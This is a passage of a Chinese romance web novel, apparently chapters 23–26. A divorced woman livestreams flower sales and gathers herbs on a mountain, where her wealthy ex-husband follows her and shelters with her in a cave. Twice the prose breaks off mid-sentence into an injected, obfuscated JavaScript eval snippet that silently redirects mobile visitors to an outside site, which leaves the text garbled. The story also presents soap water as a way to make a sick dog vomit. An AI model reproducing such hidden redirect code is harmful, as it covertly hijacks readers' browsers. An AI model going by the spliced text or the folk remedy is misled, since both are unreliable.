他念着网上关于骆亦迟的介绍:“其父骆彦怀退休后,开始逐步接手骆氏企业,之后使用雷霆手段收回骆氏90%的股权,不顾股东反对一力促使骆氏企业完成改革,连续三年成为连城最年轻最有影响力的企业家之一……除骆氏几家上市公司外,名下还关联了一家娱乐公司,拥有旗下唯一艺人池柠,后续投资了几部影片……挤进国内富豪排行榜前一百……哦,这人物关系里,还写着你是他前妻呢。” 许满心不在焉听着,不知不觉跟着诧异,没想到一离婚,骆亦迟不仅成功断奶了,还成了骆家掌权人一样的存在,都快把他爸比下去了。 简直让人刮目相看。 在哪儿求的极速成长药,她也想来一颗尝尝。 梁桓宇念着念着,忽然瞪大眼睛,态度一百八十度大转弯:“我想起来了,就那个演员池柠的绯闻男友对不对!隔三差五就跟池柠一起出现在热搜上!怪不得老师你跟他离婚,原来他早就劈腿了啊!” 梁桓宇摸着下巴揣摩:“但池柠现在有正牌男友啊,到底谁是小三?” 许满笑笑没说话。 梁桓宇接着浏览:“嘿,这还有一条陈年老八卦,说前夫哥和他妈母子反目,差点把他妈送进监狱,哎老师这是真的吗?” 许满一惊,停下手中动作,“还有这种事?” 梁桓宇也惊:“你不知道?” “我为什么要知道?” “你是她前妻啊!” 许满莫名其妙:“前妻就应该知道吗?” 梁桓宇感到不可思议:“作为前妻你就不好奇前夫的生活吗?” 许满:“我为什么要好奇?我跟他又没什么关系了,好奇他做什么?我不好奇,也没空好奇。” 梁桓宇直接惊掉下巴。 和许满相处这几天,怎么看,许满都不像是个凉薄之人。 但为什么不好奇呢? 是个正常人都该好奇的吧? 好奇的会偷偷在网上输入前任名字查询他相关的消息,或者匿名潜入前任的社交网站看他最近生活如何?有没有比自己想象得差? 但许满都没有,甚至在梁桓宇查看骆亦迟这些信息的时候,她都没表现出平常之外的关心,八卦之心还没梁桓宇高。 梁桓宇只能想,不好奇可能是不爱了,也可能是放下了,总之,他佩服许满这种洒脱的心态。 而梁桓宇不知道的是,许满之所以不好奇,纯纯是因为没空好奇。 一是学业繁忙,二是要照顾许晋文,她自己的生活都还顾不过来呢,哪有时间和精力去操心别的。 分开这六年,许满对骆亦迟一无所知,但昨天再重新见到时,确实感觉骆亦迟跟之前不一样了,浑身上下透露出一丝捉摸不透的深沉和忧郁,像蜕掉了阳光外壳的生物,袒露出布满伤疤的柔软真实来,却又惧怕示人,只能紧缩着,将自己藏起来。 梁桓宇:“我有点信前夫哥不爱你了,他如果爱你,怎么会让你和你爸住这儿?你起码应该分走他一半的家产才是。” 许满客观的说:“离婚后他给了我一百万,那时他还没接管骆家的企业,一百万是他一年的工资。” 言外之意,骆亦迟把属于自己的正当收入都给了她。 “哦,那钱呢?上学用了?” “没有,都花在我爸身上了,前面的手术,后面的康复,如果没有那笔钱,我爸他……可能就不在了。” 一般人面对前任,要么诋毁诅咒,要么纠缠怀念,像许满这样不怨恨不在意的人很少见,至少梁桓宇他没见过。 院子里刮来一阵小风,花坛里花朵随风摇摆,抖落一阵芬芳。 大黄在花坛边趴着纳凉,花粉扑落到脸上,大黄不禁打了个喷嚏。 暖阳正好,微风不燥,梁桓宇抱起吉他,“许满老师,有一首歌想送给你。” “什么歌?” “你听。” 梁桓宇唱起来。 “你往前走,不要回头, 上天让你错过谁都有理由, 怕你受伤,独自承受, 才把最好的人留到最后。 你往前走,不要回头, 别再为旧人旧事湿了眼眸, 别怕失去,学会放手, 世上还有另一种幸福,叫曾经拥有。” 歌挺好听,许满听着听着,忽然想起昨晚一直没处理的一件事。 “梁桓宇。” 她打断沉浸唱歌的梁桓宇,正色的问,“昨晚你为什么不跟网友们解释?” “解释什么?” “解释我是你老师,你只是帮我直播卖花这件事。” “哦,这个啊……”梁桓宇巴咂巴咂嘴,“许满老师,你没发现,只要我一直不解释,直播间的观看人数就会一直往上增加吗?” “有吗?”许满光听歌看评论了,根本没注意过直播间人数去留这件事。 “当然有,这对我们有好处,而且是很大的好处。” 很少关注直播的许满摆出求问的表情。 梁桓宇:“你没看昨晚我们上的四个链接全卖出去了,而且很早就被拍了,下播时间都提前了。” 许满看着面前四个待发的快递包裹,明白了,不禁佩服梁桓宇,“还真是。” . 下午,许满和梁桓宇一起去把快递发了。 回来时许晋文满脸焦急的等在门口,许满还没停稳车子,他就拄着拐着急迎了上来:“满儿,大黄它,它……” “大黄怎么了?” 大黄在院子里趴成了一滩,脸埋在一堆食物残渣里,轻轻的打着抖,看见梁桓宇进来,小眼睛勉强的骨碌一转,耷拉的耳朵用极小的幅度掀了掀,委屈巴巴朝他“呜呜”,四腿用力想站起来。 还没呜呜完,忽然腿一软,又趴下了。 “这是大黄吐的?”许满指着那一堆混合了腐烂肉糜和菜叶的食物残渣说。 梁桓宇赶紧凑近大黄去查看,“看样子是吃坏肚子了。” “那怎么办?”活泼懂事的大黄如今成了这副可怜兮兮的模样,许满也跟着着急,“要去医院吗?村里没有宠物医院,得去市里。” “它吐出来一些,但不知道吐完没,得催吐,老师,有肥皂水吗?我喂它点肥皂水试试。” 许满立刻去准备肥皂水。 许晋文急啊,站在旁边自责的说:“没看住,跑远了,回来就,一动不动,咋办呀?” 梁桓宇心里有数,安慰许晋文:“没事儿大爷,没怪你,大黄就爱乱跑,应该是去翻垃圾吃了,它吐出来就好了,大爷你别有心理负担。” 说着说着,又不禁心疼起大黄来。 在家时顿顿狗粮罐头鲜肉伺候着,把大黄皮毛养得油光发亮的,现在跟着他下了几天农村,天天只能吃点水煮菜叶,生活水平直线下降,不仅狗毛掉得多了,连狗脸都瘦了一圈。 要不回市里养几天? 正琢磨着,许满搞来了肥皂水,梁桓宇掰开大黄的嘴喂进去,大黄“啊呜”一声,又吐出来些,一直等到没啥吐的了,梁桓宇才拖起大黄搂进怀里,顺着大黄的毛,说:“老师,我得带大黄去医院看看。” 许满知道耽误不得,看了眼时间:“一会儿还有最后一趟城际班车发往市里,你赶紧收拾收拾,我送你去车站。” 梁桓宇没做推辞,半个小时后,赶上最后一班车,带大黄走了。 被这一人一狗热闹了几天,小院里突然冷清下来,许满还有些不适应。 晚上早早吃了饭,天还没黑,许满在院子里纳凉,梁桓宇发来微信,说大黄做完检查了,医生诊断说是肠胃炎,输几天液就好了。 配图一张大黄输液的照片。 大黄在自己家吃坏肚子,许满挺内疚,关心的问:【是不是乡下的生活大黄不习惯?】 梁桓宇回答:【没有啊,你没看大黄天天不是追鸡就是逗猫,从来没这么开心过,释放天性了简直】 梁桓宇:【对了,前夫哥今天去找你没?】 许满:【没】 梁桓宇:【好遗憾,本来今天想开个前任专场让前夫哥听听的,算了,有机会再开吧。】 许满:【直播设备我先帮你收起来了,明天给你寄过去?】 梁桓宇:【不用寄,我家里还有备用设备,那套先放你那儿吧,等大黄好了我就又过去了,一个月的民宿我才刚住,不能白白浪费了。】 许满:【好。】 先不论梁桓宇直播卖花效果如何,凭心而论,许满挺感激他在这件事上为自己付出的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14491691|153792||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 努力。 开学后就各自分开了,以后不能老麻烦梁桓宇,晚上,等许晋文睡下了,许满无所事事,打开短视频软件,授权开通了直播。 第一次直播,她也不知道该怎么弄,就把镜头对着院子里的花,在观看人数为0的直播间里,介绍这种花叫什么名字,属于哪个目哪个科,该怎么种,和什么搭配养在一起最好,还学着梁桓宇,看见有网友进来,热情说一句欢迎,网友走了,就继续干巴巴的介绍。 播了半个小时,除了废了点口水,有点口渴外,其他没有任何收获。 看来直播并非易事,试过之后,许满有了这个认知,更加佩服梁桓宇了。 . 梁桓宇没说具体什么时间再来,但他不在的这几天,许晋文失去了狗子的陪伴,又开始给许满找事儿了。 康复医院的医生建议他没事儿就泡泡脚,能舒缓疲劳,安神助眠,许晋文就把泡脚当成了一回事儿,隔三差五的想起来就要泡。 前阵子家里储存的药材用光之后,许满给许晋文的泡脚水不加药包了,想着等天凉了,再给搞药包来泡。 这天晚上,许晋文照常泡脚,看见泡脚桶里水质清澈,就问许满:“怎么好久,不用药了?” 许满说:“药包用完了,现在天热,稍微泡泡就行,天冷了我再给你买药包泡。” 许晋文:“不要买,自己采,自己采点,晒晒,好了嘛,干嘛,花钱买?” 这意思是让许满上山去采药。 许满不愿意去,天热,药材没几个,山上蛇鼠虫蚁还多,一去就是一天,采回来还得自己晒,费神费力,还得拜托刘大爷照顾许晋文吃饭,太麻烦了。 许满便说:“村里卫生所就有卖的,有现成的药包,也有晒干的药草,一斤花不了几块钱,不用上山去采,用的时候去那里买就行了。” 许晋文一昂头:“买?不得花钱?” 许满:“又不贵。” “不贵,也是钱。算了,以后,不泡了,浪费钱,我要是能,上山,我就,自己去。” 许晋文说着,把脚拿出来,干脆不泡了。 第二天,许满去卫生所买了泡脚药包来放在家里。 被许晋文看见了,趁许满不注意,拎起药包,拄着拐,走路一点一点的,顶着大太阳去卫生所把药给退了。 晚上许满煮好水去找药包,没找着,便问许晋文。 许晋文聚精会神看着电视,理直气壮的说:“没、没看见。” 下午许满就听邻居说,看见许晋文自己去卫生所,现在心里猜了个七七八八,“爸你不会把药包给退了吧?” 许晋文理直气壮的语气带了那么点心虚:“没有。” 那就是退了。 许满觉得许晋文有点不可理喻:“你要是退了那就不泡药包了。” 许晋文大声:“不泡就,不泡!” “……” 得,生气了。 许满暗自叹了口气,耐心问许晋文:“爸你想干啥呢?” 许晋文拗起脾气:“采点药,都不愿意,花,那个钱。” 穷了一辈子的人,就会在这点小钱上省。 为了照顾许晋文的脾气,许满只好先顺着他的意思:“好,爸,哪天没那么热了,我就去山上采药。” 这天很快来了。 许满本来是为了哄许晋文,没想到说出去这话还没两天,老天爷颇照顾她的面子,周末一大早,说不热还真就降温了。 太阳被厚厚的云层遮住,没出来,还刮着点小凉风,许晋文一直惦记着这个事,一起床就跟许满说:“没太阳,适合采药。” 许满打开天气预报,多云,没雨。 她望向远处蒙蒙的山,见太阳若隐若现,似乎没有乌云笼罩,便决定快去快回,早点把许晋文这件心事给了了,省得他一直惦记。 吃完早饭,许满提前做好午饭,敲开刘大爷的门,拜托刘大爷今天暂时帮她照看许晋文,说自己要上山一趟,中午铁定是回不来的,有事给她打电话。 刘大爷不懂:“上山干啥?现在山里又没菌子。” 许满无奈:“不上也得上,我爸非得让我去给他采药,不去的话就跟我闹脾气。” 和许晋文处了一辈子邻居,刘大爷自然知道许晋文的脾性,深感认同的点点头,“你爸真是的……行,满儿,你去吧,老许你就放心交给我,你自己注意安全啊,别走得太深,天黑之前就赶紧回来。” “哎,好,谢谢刘大爷。” 安置了许晋文,许满穿上长衣长裤,带上遮阳帽,拿上干粮和工具,全副武装出发了。 走到村口,看见马路对面的电线杆旁停着一辆眼熟的黑色轿车。 许满瞥眼看清车牌,当没看见,目不斜视继续向前。 刚走过车头,车里人影一闪,西装革履的骆亦迟迈下车,大步流星穿过马路,几步走来站定在许满跟前。 骆亦迟挺直脊背,目光柔和,温声说:“你去哪儿?我送你。” 24. 第 24 章 许满没想到再一次遇见骆亦迟。 挺佩服骆亦迟5.0的视力,她全副武装就露了个下巴尖,隔了四五米宽的马路,骆亦迟都将她认了出来。 “不好意思啊骆先生,我们不顺路。”许满保持距离,客气拒绝。 然后往右跨出一步,准备从他身边走过去。 骆亦迟伸直手臂,一横,挡住了她的去路。 好狗不挡路。 许满赶时间呢,侧眸看向拦路人,眼神不悦,“请让我过去,谢谢。” 鉴于人家现在是个人物,许满说话很有分寸,积了口德,没出口骂人。 骆亦迟脸色紧绷:“告诉我你去哪儿,我就不拦你。” 这是在耍无赖? 耍无赖是吧,那好,许满也不客气了。 她的视线在骆亦迟熨帖平整的西裤和亮得能照影子的皮鞋上来回扫视几遍,不认为这样的装备能跟她顺路顺到一起,于是指指面前的山路入口,希望某人能有眼色,懂她的意思,“我上山呢,你也顺路吗?” “顺,等我一下。” 骆亦迟急匆匆回到车旁,打开后备箱,从里面拎出来个手提旅行包,钻进了车里。 许满自然没空等他,看他进了车里,招呼都没打,抬脚走了。 骆亦迟换好运动装再出来,原地已经没了许满的影子,他慌张的视线去寻找,发现许满已经在不远处的山路上,走了很远,半点没有等他的意思。 他二话不说,拔腿狂奔追上许满,拉住她的胳膊:气喘吁吁问她:“你为什么不等我?” 许满甩开对方没有一点自觉的手,一脸莫名其妙,“我为什么要等你?” 一句话把骆亦迟噎住。 半晌,给不出答案。 索性许满压根也没指望能听到个所以然来,见骆亦迟不言语,她也没追问。 她就是不懂,不懂骆亦迟此举的目的,猜不透他想干什么。 没离婚时,她出门想让骆亦迟顺路送她,骆亦迟从没当一回事,于是她熟悉了家门口所有的地铁和公交路线,都不需要查地图,只要有目的地,她就知道怎样坐车最省事。 现在,在她最熟悉的家乡,阔别六年的前夫居然打着顺路送她的名义,不顺的路硬要顺到一起,跟她一起去爬山? 有病吧? 一个养尊处优的大总裁,大热天的不待在办公室里给国家创造GDP,跑来这乡村小镇跟她一起爬山??? 没苦硬吃! 有病! 许满好言相劝,“山路危险,为了大家都好,奉劝骆先生你不要跟着我,不出事还好,万一出了事,我一个普普通通小村民可担待不起。” 丢下这句话,许满没再管骆亦迟,抬脚继续往山上走。 她速度很快,走了一会儿,身后没有声音。 回头一望,见骆亦迟还站在山脚处,双手叉腰仰头看着她,见她回过头来,紧抿的唇线略略松动,迈步跟了上来。 许满:“?” 这什么意思? 许满脑中浮出个大大的问号,没作他想赶紧转身,想甩掉这个大麻烦跟屁虫。 快步走了十来分钟,又回头看,这下终于看不见骆亦迟的影子了,才逐渐放缓脚步,专心寻找药草。 山路崎岖,药不会按着人的想法长在路边任人采摘,许满一路走一路看,通过叶子仔细分辨哪种是药,哪种是草,以防误挖。 但是伏天日子,药草似乎也怕热,一个个都躲起来不冒头,许满沿路挖了两个多小时,都挖到大晌午了,篮子里才挖了一个底,还不够许晋文半个月用。 估计都被平时上山的人挖走了,这样下去不行,回家交不了差,还得再往山里深处走走才是。 许满打定主意,原地找了块石头坐着歇脚,等歇够了再启程,顺便补充能量。 她从包里拿出提前做好的午饭,常温下就着水吃了两口,双眼不经意往山下一瞥,只见方才经过的拐弯处,冒出一个熟悉的黑色脑袋来。 许满额头瞬间黑线。 上山的路就这一条,骆亦迟非要爬山,所以能跟上来并不奇怪。 奇怪的是,许满不知道是什么支撑他必须得上这趟山来。 难道真如梁桓宇所说,他是特意来找她的? 不可能吧? 理由呢? 明显没理由啊! 骆亦迟保持不紧不慢的步伐来到了许满跟前,挨着她坐下,看到她脚边的保温杯,喘了口气,说:“有水吗?我喝两口。” 许满端着饭盒搂紧水杯:“有,但你要是喝过了,我就不喝了。” “行,那我不喝了。” 清晨的凉风已经不再,现下闷闷的,不见太阳,一点风都没有,体感很不舒服。 许满眼角余光暼见骆亦迟头上的汗,密密麻麻聚成一股,顺着鬓角,流进他半敞的领口里。 被拒绝了,骆亦迟就沉默的坐着,望向远处,不再出声。 许满这饭吃得不能再心无旁骛,嚼着饭菜,总觉得不痛快,勉勉强强吃完了,赶紧收好东西,再出发。 她一站,骆亦迟也跟着站起来。 走了会儿,骆亦迟步步紧跟,一直保持着三四步远的距离缀在许满身后。 许满发现他跟着,白眼一翻,转身,不带好脸的质问:“你要跟我到什么时候?” 骆亦迟说:“跟到你回家,山路危险,我想护你安全。” 许满像在听笑话:“我不觉得你比我更熟悉这里,也不觉得我需要你来保护。” 骆亦迟垂眸,落寞道:“哦。” 许满觉得自己够冷淡了,都冷淡到能避暑的程度了。 但看骆亦迟这个样子,难道是她的冷淡不够明显?还是骆亦迟早就察觉她的冷淡,但是却视而不见? 但许满没心思跟骆亦迟周旋,她还要走很长的路,不知道要走到什么时候,她希望骆亦迟知难而退,不要再跟着她。 但显然,骆亦迟没这个自觉。 他站着,没动。 许满又把身子转过去。 刚走了一步。 骆亦迟也跟着走了一步。 许满索性把东西往地上一撂,不走了。 “说吧,你时隔六年突然又来接近我,是什么目的?” 骆亦迟缓 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搞错几次之后终于挖对了,小心翼翼的递给许满,许满却不领情,看都不看他,更吝啬一个字给他,把他放在篮子里的药草捡出来,面无表情的扔掉。 骆亦迟心里难受,但什么都没说,只沉默的做着一些无用的事来找补。 比方说,把许满放在篮子里的药草上的泥土抖落,或者帮许满捡拾不慎掉落的工具,又或者看天色不对,提醒许满:“要下雨了。” 山林深处树木高大蔽日,许满一直埋头寻找,没注意天气,抬头时,四周视野已经变暗,乌云压顶,树叶摇摆,刮起了风。 现在是下午四点二十分,手机上天气预报显示当前多云,未来十二小时内降水概率为零。 这该死的天气预报,一点都不准! 没带伞,原路下山返回家,要一个小时。 这期间雨肯定会下起来,她铁定会淋个落汤鸡,辛辛苦苦采的那一篮子药,也会被雨打湿。 许满心烦,第一时间寻找可以避雨的地方,但四周都是冲天高的大树,夏天雨水又往往伴着惊雷,倘若就地避雨,雷打下来,是要出人命的。 那怎么办? 要不还是跑吧。 许满骂骂咧咧收好工具,赶紧就走。 她前脚走,后脚骆亦迟就抓住了她。 “你去哪儿?” 许满不想让骆亦迟触碰她,用力甩胳膊,没甩开。 “要下雨了,当然是回家!” “雨马上就落下来了,你确定你能回去?” 乌云沉沉如墨团,在头顶翻滚,裹着阴风,卷起周边的树枝野草。 许满正待反驳,一滴豆大的的雨水冷不丁就砸到了脸上。 啪嗒啪嗒,刷刷刷刷—— 大雨说来就来,乘着风,势如破竹。 骆亦迟紧急脱下外套盖在许满头上,抓起她的手,毫不犹豫迅速狂奔。 “走啊,刚才看见一个山洞,赶紧去避一避。” 25. 第 25 章 山洞有些远,许满被骆亦迟一路拽着,不知道跑了多久,到达洞口时,还是被雨淋了个透彻。 有骆亦迟的外套挡着,许满不至于太狼狈,但骆亦迟就不一样了。 他微乱的发丝滴着水,白色的T恤布料沾水后变得半透明,贴在身上,将他匀称的身体线条紧紧勾勒。 骆亦迟胸膛宽阔厚实,手臂肌肉紧实,水滴淌下来没过精瘦腰身,一路延伸至笔直的黑色运动裤里,将大腿肌肉的轮廓清晰的凸显出来。 是一具标准成熟的男性躯体。 不复六年前的稚嫩,如今的他,肩宽体阔,刚健挺拔,如果不是因为有前科,在许满心里可以说是没有正面评价,简直性感的让人移不开目光。 许满把身上的外套取下来,还给骆亦迟,“遮遮吧,都凸点了。” 骆亦迟脸上闪过一抹尴尬,不自然的错开许满投来的戏谑目光,接过外套,拧干水,披在了身上。 挖好的药材淋了雨,许满将上面那一层湿的挑出来,甩甩水,摆在洞口,等晾干。 现在还不到五点,天已经快黑了,夏天天长,以往七点左右才天黑,一下雨,把天黑时间都提前了。 雨不知道下到什么时候才会停,许满拿出手机,从包里抽出纸巾,将屏幕上的水擦干,想跟刘大爷说一声,今天可能回得晚,让许晋文别等她了。 幸好手机都防水,许满点了几下,手机一切正常,就是洞里没信号。 走到洞口,勉强找到信号,许满拨了电话。 “大爷,我满儿,家里下雨了吗?” 刘大爷:“没啊,凉快着呢,怎么了满儿?” 许满:“山上下雨了,我暂时回不去。” 雨声刷刷,还闷着雷,通过听筒传达给刘大爷。 刘大爷停顿了下:“哟,山头上果然有一大片乌云呢,满儿,你是在山头上吗?咋爬那么高呢?” 许满:“不知不觉就爬这么高了,刘大爷,拜托你告诉我爸,我被困在山上了,雨停了才能回去。” 刘大爷:“哎,你放心吧,可别在山上待太晚啊,找个地方避避。” 许满:“嗯,我在一个山洞里呢,淋不着。” 刘大爷:“行,那我就放心了。” 电话挂断没多久,天彻底黑了下来。 洞里黑黢黢一片,许满坐在洞口,摸黑等雨停。 入夜后山里很冷,许满抱臂蜷成一团,一身湿衣粘在身上,凉风伴着细雨一吹,寒意上来,瑟瑟发抖。 “阿嚏——” 没忍住打了个喷嚏。 许满揉揉鼻子,背后突然“嗤”的一声,燃起了火光。 许满条件反射往后面看,见骆亦迟手里拿着个打火机,蹲在一堆杂草树枝旁,拇指一擦一擦,打火机也跟着一闪一闪。 显然是在生火。 见许满看过来,骆亦迟解释:“刚发现有个废旧的打火机,估计是前人留下的,没想到还弄用,你进来坐,在外面容易着凉。” “不了,外头挺好。”许满转头收回目光。 打火机时间久了,不太好用,要擦好几下才能冒出火花。 骆亦迟勉勉强强的用它生起火,待火烧得稳定之后,起身来到许满身边。 温声说:“去吧,火燃起来了。” 许满别着头,不说话。 骆亦迟极具耐心:“如果你不想看见我,可以换我坐在洞口。” “阿嚏——” 许满回以一个喷嚏。 这样下去许满肯定会生病,骆亦迟仅犹豫了半秒钟,便伸出长臂穿向许满腋下,另一只手抄向许满腿弯。 许满猝不及防被抱起,大叫一声:“你干嘛!” “别动。” 骆亦迟牢牢箍着她,卡住她的胳膊不让她动弹。 “我只想跟你换一下地方,你乖乖坐在火旁就行,我不会对你做什么。” 许满不想跟他接触,双腿竭力乱蹬:“谁要跟你换了?你不要碰我,你放我下来!” 骆亦迟充耳不闻,固执的把许满抱去火堆旁。 许满反抗意志极其强烈,上身直挺,愣是要靠蛮力从骆亦迟的桎梏中挣脱出来。 骆亦迟没想到她抵触决心那么大,手上力道不由一松—— 脚下有一堆乱石子,他眼尖的看见了,怕许满磕到,下意识去护她,紧急之下长臂变换姿势往里一收,揽住许满肩头侧身一翻,许满就势复又跌进了他怀里。 背部硌上乱石子,骆亦迟眉头微皱,抱着许满在地上滚了半圈。 许满不得以和骆亦迟如此近距离的接触,脸贴在他胸膛,掌心感受到强烈急促的心跳,怦怦怦怦—— 许满莫名觉得烫手,五指微蜷用力推他胸口,想从他身上起来。 但骆亦迟似乎反悔了,手臂力道不仅没松,反倒收得更紧。 “放开我。”许满抗拒道。 骆亦迟贪恋这偷来的片刻温存,即使这温存在对方眼里充满了厌恶。 “许满,让我抱你一会儿,我太久没抱你了。” 他像一个饮着鸩毒的罪人,压抑着澎湃的情感,希望面前冷漠的执刑者答应他赴刑前的最后一个恳求。 “不要!” 许满毫不留情拒绝,手掌按在他胸口,企图用力挣脱。 打滑的湿衣在掌心力道下轻轻一推,身下男人胸前口袋里,一直贴身藏着的某个东西不小心被推了出来。 小小圆圆的一颗,顺着身下男人的肩膀,骨碌碌的,闪着剔透的光,滚到了火堆旁。 骆亦迟意识到那是什么,赶紧松开许满翻身去捡。 然而已经来不及。 许满先他一步拾起,捏在手里,迎着火光仔细看起来。 那是个玻璃弹珠一样的小玩意,晶莹剔透的球体,里面有一团黑色丝线一样的花纹。 如果只是个普通弹珠,许满或许不会在意,但她没见过这样的花纹,对着那花纹研究了半天,后面看清楚了,猛然反应过来,那压根不是什么普通花纹,而是一根头发,团成一个整齐规律的线圈,被封在了透明的树脂球里。 再看骆亦迟紧张的神色,许满百分百确信了,那就是一根头发! 恐怕还不是寻常之人的头发! 是谁的? 池柠的? 不管是谁的头发,但把一根头发永久封存这个行为,不像是一个正常人能做出来的事,在许满看来挺恶心挺变态。 她嫌弃的把它丢掉,朝着火堆抬脚一踢,树脂球跃起,噗的一声,跳进了火堆里。 “你干什么?!” 骆亦迟呼吸一窒,赶忙去把它捡回来,拿个木棍攉啊攉,把树脂球从火里攉了出来,擦擦灰,心疼的握在手里。 许满看他那宝贝样子,就觉得好笑。 “谁的?”她问。 “池柠的?”她猜。 骆亦迟沉默。 良久,他说:“你的。” 许满:“?” 骆亦迟垂眸:“没错,是你的。” 许满万万没想到,脱口而出道:“……变态!” 骆亦迟抿唇,开口时不由提高声音:“对,我是变态,跟你离婚后我想你想得不得了,在床上捡到你的头发,就变态的跟个宝贝一样珍藏起来!” 像个被抛弃的怨妇一样,他朝许满抱怨:“你哪怕给我留件别的东西呢?我也不至于天天捏着一根头发睹物思人!你说你……怎么那么狠心?” 重逢之后,骆亦迟第一次说这么多话。 如许满所见,他走不出这段婚姻。 刚离完婚那阵子,他意志消沉,天天躲在家里睹物思人,借酒浇愁。 好多人来劝他,他一概不听。 还因为杜曼玲屡次让他找个门当户对的姑娘一起过,起过多次争执。 后来还是骆彦怀出面,跟他提了一些条件,答应他,他的婚姻可以自己做主,想跟谁结就跟谁结,哪怕是跟许满复婚,他才勉强振作起来。 可是之后当他满血复活,想将许满丢下的那枚钻戒收好,以备复婚时再重新戴在她手上,却发现,戒指不见了。 他找遍了房间每个角落,都没有找到。 不知道是被谁拿走了,还是这几天他喝酒喝得神志不清,不记得放在哪里了。 总之,戒指没有了。 骆亦迟好不容易振作起来的精神有了垮塌之势,鲜花枯了,戒指丢了,许满留下的三件东西,只剩下了一件,还是一根头发。 他把那根谨慎放在枕头下面的头发取出来,怕它也被自己粗心弄丢了,便珍而重之的,将它封进了树脂球里,日日带在身上。 爱意随着时间流逝只增不减,多少个思念那捱的夜,只有握着这根头发,骆亦迟才能勉强的闭一闭眼。 没人能懂这根头发在他心里的分量,那是他画地为牢的执念,也是他自欺欺人的寄 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“骆亦迟,你看看这双手。”许满伸出自己的手。 她的手算小的,握成拳头,一个成年男人可以一手攥住。 小小的手,指节细长,但并不漂亮。 那是双经过多年生活磋磨的手,皮肤粗糙如柴,骨节明显,掌纹不清,掌心与指根连接处有层黄黄的薄茧,指甲边缘挂着泥土和久未修剪的死皮。 “看到这双手了吗?这是贫家女的手,与你干净修长骨节分明十指不沾阳春水的手对比鲜明,是两个截然不同的模样。” “你是富家子,我是贫家女。贫家女和富家子的爱情故事,本就是因为不可能发生,所以世人才妄自杜撰,满足幻想,将他们绑在一起。可就算是杜撰,结局里,贫家女往往都付出了惨痛的代价,富家子不仅什么都没损失,还家庭美满过得幸福。” “这是不平等的爱情。” “这样不平等的爱情,会有什么好结果呢?所以我早点醒悟过来,不要这样的爱情。我的生活已经够苦了,现在好不容易好起来一点,我不想再回去了。” 妄想不属于自己的东西,在上面栽了个大跟头,因此付出了惨痛的代价。 长了记性之后才明白,灰姑娘和王子之所以能在一起,是因为灰姑娘本就出身贵族。 “我们之间,除了池柠,还隔着阶级,这是横在你我之间,永远无法跨越的天堑。” 骆亦迟不愿放弃:“这个阶级,你不用跨,你就当它不存在,我会跨过去找你。” 许满苦笑一声,摇摇头,打断他不切实际的幻想。 “骆亦迟,你还没明白吗?” 骆亦迟嗓子发紧:“明白什么?” 许满说:“我和你本就不应该在一起。” 骆亦迟沉默不语,神色变得茫然。 空旷洞穴里,许满一个人的声音静静回荡。 “我爱过你,你不珍惜,那我只好不再爱你。” “我曾恨你,可是如果没有你,没有你给我的那笔钱,我爸早就没了。” “所以其实后来,我是感激你的。” “现在,我不爱你,也不恨你,两相抵消,我不需要你的任何补偿,也不要你的爱,你对我来说,只是来流云湾旅游的一个普通游客,仅此而已。” 26. 第 26 章 雨淅淅沥沥,忽大忽小,一直到半夜才停。 火堆式微,洞穴内再找不到干燥的柴火添进去,一声噼啪轻响过后,火光终于颤颤巍巍熄灭,残留一堆细小的火星子在闪烁。 骆亦迟打开手机手电筒,放在许满身后,供她照明,自己再回到洞口,守在那里。 许满说了那些话之后,他就一直坐在洞口,除了偶尔进去添添柴火,除非许满叫他,否则他不会出现在许满眼前。 但许满从没叫过他。 雨停之后山风来袭,体温将湿衣捂干,入夜的寒凉逼上来,钻进身体里,从骨缝里侵扰着人的身躯。 但骆亦迟似乎不知道寒冷是什么滋味,外套也没穿,即使许满扔在了脚边并没有接受他的好意。 他就这么沉默的坐在那里,像一尊石雕门像,手里捏着那颗树脂小球,一动不动,望着天边,不知道在想什么。 夜色隐退,曦光穿透黑暗,天边泛起鱼肚白。 许满听雨没有再下,起身打算下山回家。 她慢悠悠站起来,拿好东西越过骆亦迟,招呼都没打,踩着泥泞的山路,往山下走。 骆亦迟见她从身边走过,眨了眨眼睛,将眼中一夜未合的焦涩逼走大半,然后回洞里拾起手机,跟上了许满的步伐。 破晓时分,大地朦朦胧胧,视野还没那么清晰。 被雨水浸泡了一夜的路面湿滑,淤泥松软堆积,泥石裸露在沿途的山道上,每走一步都得分外小心。 乱石没有底,许满不慎踩中,脚下一滑,尖叫一声,在泥泞山道上摔了个屁股墩儿。 “许满!” 骆亦迟立即冲过来将她扶起,“怎么样?摔到没?” 许满不动声色避开想要帮她的那只手,撑着地勉强站起来,抓着旁边一块被雨水冲刷干净的大石头,扶腰坐上去。 昨晚已经说得很清楚了,她不想让骆亦迟产生不必要的误会,所以拒绝一切与他不合时宜的接触。 骆亦迟的手在半空停了两秒钟,最后落寞放下,转而去拾摔了一地的药草和工具。 旁边有颗小树长得直,粗细合适,长度适中。 骆亦迟捡完东西,瞄准那颗小树,用镰刀几下砍断,手法生疏的将枝干上粗糙扎手的切口处理平滑,摸了摸,又拄在地上试了试,自认结实,不会伤手了,将这根简易的登山棍递给许满。 “拿着吧,待会下山用它,能省点力。” 许满不接。 骆亦迟:“怕你再摔倒,你若是不接,我就一路抱你下山。” 许满只好接过,“谢谢。” 摔的那一下不轻,估计伤到了肌肉,钝痛牵扯屁股和大腿,抬脚时腿都抻不直。 许满歇够了,拄着骆亦迟亲手做的登山棍,在前面一瘸一拐的走。 骆亦迟望着那个背影,心里溢起一抹难言的酸涩。 